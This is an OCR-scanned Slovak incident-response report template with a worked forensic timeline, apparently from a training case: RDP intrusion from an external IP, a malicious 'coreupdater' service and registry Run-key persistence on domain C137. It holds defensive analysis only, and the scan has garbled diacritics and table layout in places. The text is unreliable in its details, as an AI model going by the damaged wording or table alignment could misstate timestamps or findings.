Eurépskou tGiniou pl_"“ roauovy-‘ SLOVENSKE) REPUBLIKY D v VYSKUMNA
P L 4 | Pre PLAN OBNOVY farvmt ‘
NextGenerationEU A ZNALOSTNU EKONOMIKU VA/A - AGENTURA




4.5.2. Podozrivé subory / payloady
4.5.3. Karanténne / AV artefakty

4.5.4. Archivne a staging adresare

4.5.5. Docasné priecinky

4.5.6. Adresdre pouzivatelskych profilov
4.5.7. Kos / vymazané subory

4.5.8. Pripojené zvazky (Volumes) / sietové zdielania
Zhrnutie kategdrie — Analyza suborového systému

¢ Identifikované podozrivé subory
e POvod suborov a ich Sirenie
o Klasifikacia podporovana obohacovanim

5. Korelovana c¢asova os

Tato Cast je obzvlast uZitocna po analyze zaloZenej na kategdriach. Avsak pri manuadlnej
forenznej analyze dorazne odporucame pridat doleZité udaje do Casovej osi hned, ako su
objavené. To zlepsuje prehladnost a umoZnuje analytikom alebo analytickym/obohacovacim
modelom vyuZivat uz zname data, postavené na tychto poznatkoch, a korelovat nové zistenia
s predchadzajicimi.

Pre kazdu vyznamnu udalost by mali byt zahrnuté nasledujice Udaje:

o Casova znacka

e Zdrojovy artefakt

e Zhrnutie udalosti

e Suvisiace subjekty

e Zhrnutie relevantnych obohateni
e Doveryhodnost zisteni

Priklady stipcov, ktoré treba zvazit:

o (Cas
e Endpoint, kde sa udalost vyskytla
e Artefakt

e Pozorovanie

aa
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e Obohacovanie
e \Vyznam

Podujatie

Obohacovanie

2020-09-18 C:\FileShare\Secret\PortalGunPlans.t | SMFT
22:33:54 xt sa prvykrat objavuje v MFT
2020-09-18 Administrator Nedavno | SMFT Administrator interagujuci s VM -
22:34:02 PortalGunPlans.Ink vytvorena skratka podozriva akcia uctu.
(sibor bol otvoreny 1z grafickej
relacie)
2020-09-18 C:\FileShare\Secret\Szechuan SMFT
22:35:43 Sauce.txt sa prvykrat objavuje v MFT
2020-09-18 Szechuan Sauce.Ink v | SMFT
22:35:59 Administratorovi Nedavno
2020-09-18 Subor  presunuty do  ko3a: | SMFT
22:39:04 SRU2L112.txt pod SID ..-500
(Administrator)
2020-09-18 SECRET_beth.Ink v Administratorovi | SMFT
22:39:22 Nedavne
2020-09-18 Pracovna stanica DESKTOP- | Security.evtx | Podozriva udalost. Vyhladavanie
22:42:14 SDN1RPTS pripojena k doméne C137 domény pre pracovnu stanicu ukaze,
administratorom (EID 4741) e nie je legitimnou sucastou
domény. Pripojenie k doméne -
2020-09-18 Prvé prihlasenie do siete | Security.evtx | Konzultujte internych sietovych
22:42:14 C137\Administrator NTLM/Kerberos | (4624 x3) administratorov, logy,
(Typ 3) 2 10.42.85.115 infrastruktdrne plany a podobne, aby
ste ziskali informacie o tejto IP.
2020-09-18 17 network sa  hlasi ako | Security.evtx
22:44:11 -  C137\ricksanchez od 10.42.85.115
22:56:15 pocas 12 minut (skriptovany rytmus)
2020-09-18 58 network sa  hldsi  ako | Security.evtx
22:46:39 — | C137\mortysmith od 10.42.85.115 v
23:10:07 priebehu ~23 minut
2020-09-18 Vypnutie systému Registr,
23:10:53 event log
2020-09-19 Obnovenie spustania systému (ETW | SMFT, EVTX
01:22:39 subory znovu vytvorené)
2020-09-19 Prvy interaktivny RDP (LogonType | Security.evtx
03:21:48 10) ako C137\Administrator z

externej IP 194.61.24.102
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2020-09-19 Dve dalSie RDP sa znovu pripajaju od | Security.evtx
03:22:09/ 194.61.24.102

03:22:37

2020-09-19 Sluzba "coreupdater" Cas System.evtx, = Vypocétovy hash coreupdater.exe,

03:27:49 posledného zapisu, spustitelny softvér vyhladavanie na VT — je to malvér.
subor: registra Detekcie 63/71, odkazy na
C:\Windows\System32\coreupdater malware/tréjske konie/Metasploit.
.exe

2020-09-19 Implantovana perzistencia - Dekddovanie z BASE64, odhalovanie

03:30:01 HKLM\Software\Microsoft\Windows | SOFTVEROV | dal3ej fazy, iterativna
\CurrentVersion\Run\coreupdate Y al deobfuskacia/analyza vzoriek, ak je to
hodnota vytvorend (a staging kluc mozné.

HKLM\Software\9sEoCawv
naposledy napisany v rovnakom case)

2020-09-19 22 dalsich C137\Administrator NTLM | Security.evtx

03:36:24 - | siet sa  hldsi od 10.42.85.115
03:44:57 (pokracovanie lateralnej aktivity po
restarte)

2020-09-19 Konecny externy RDP z | Security.evtx
03:56:04 194.61.24.102

2020-09-19 | Posledna konzola (LogonType 2) | Security.evtx
04:36:03 prihlasenie ako C137\Administrator

— pravdepodobne IR responder

zacina pripravy na ziskavanie

2020-09-19 Zaciatok akvizicie FTK Imager ewfinfo
04:51:27

6. Priloha obohacovania zalozena na entitach

Tato sekcia poskytuje analytikovi vyhradené miesto pre konsolidované vysledky
obohacovania, ktoré mézu byt opakovane pouZité naprie¢ kategdriami. V pripade, Ze sa
opakuje vela poloZiek, ktoré sa daju obohatit, nie je vyhodné opakovane zahrnovat vysledky
obohacovania dat spolu s jednotlivymi artefaktmi. Odporicame zahrnat vysledky obohatenia
hned' pri prvom vyskyte Udaju a nasledne ich zahrnut do zhrnutia uvedeného v tejto prilohe.
Je mozné umiestnit do dokumentu odkazy smerujlce do Casti, kde sa objavuje ta istd polozka.

Priloha méZe byt rozsirend tak, aby pojala akykolvek typ obohatenych Gdajov
najdenych pocas vysetrovania.

6.1. IP adresy

e Pozorované v artefaktoch
e Zhrnutie obohatenia
e Suvisiace hosty/pouzivatelia/procesy
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6.2. Domény / URL adresy

e Pozorované v artefaktoch
e Zhrnutie obohatenia
e Suvisiace navstevy/stiahnutia/e-maily

6.3. Suborové hashe

e Pozorované v artefaktoch
e Zhrnutie obohatenia
e Suvisiace udalosti vykonavania/perzistencie

6.4. Pouzivatelské ucty
e Pozorované v artefaktoch

e Zhrnutie obohatenia
e Suvisiace prihlasenia/akcie

6.5. Procesy / binarne stibory

e Pozorované v artefaktoch
e Zhrnutie obohatenia
e Suvisiaca perzistencia/sietova aktivita
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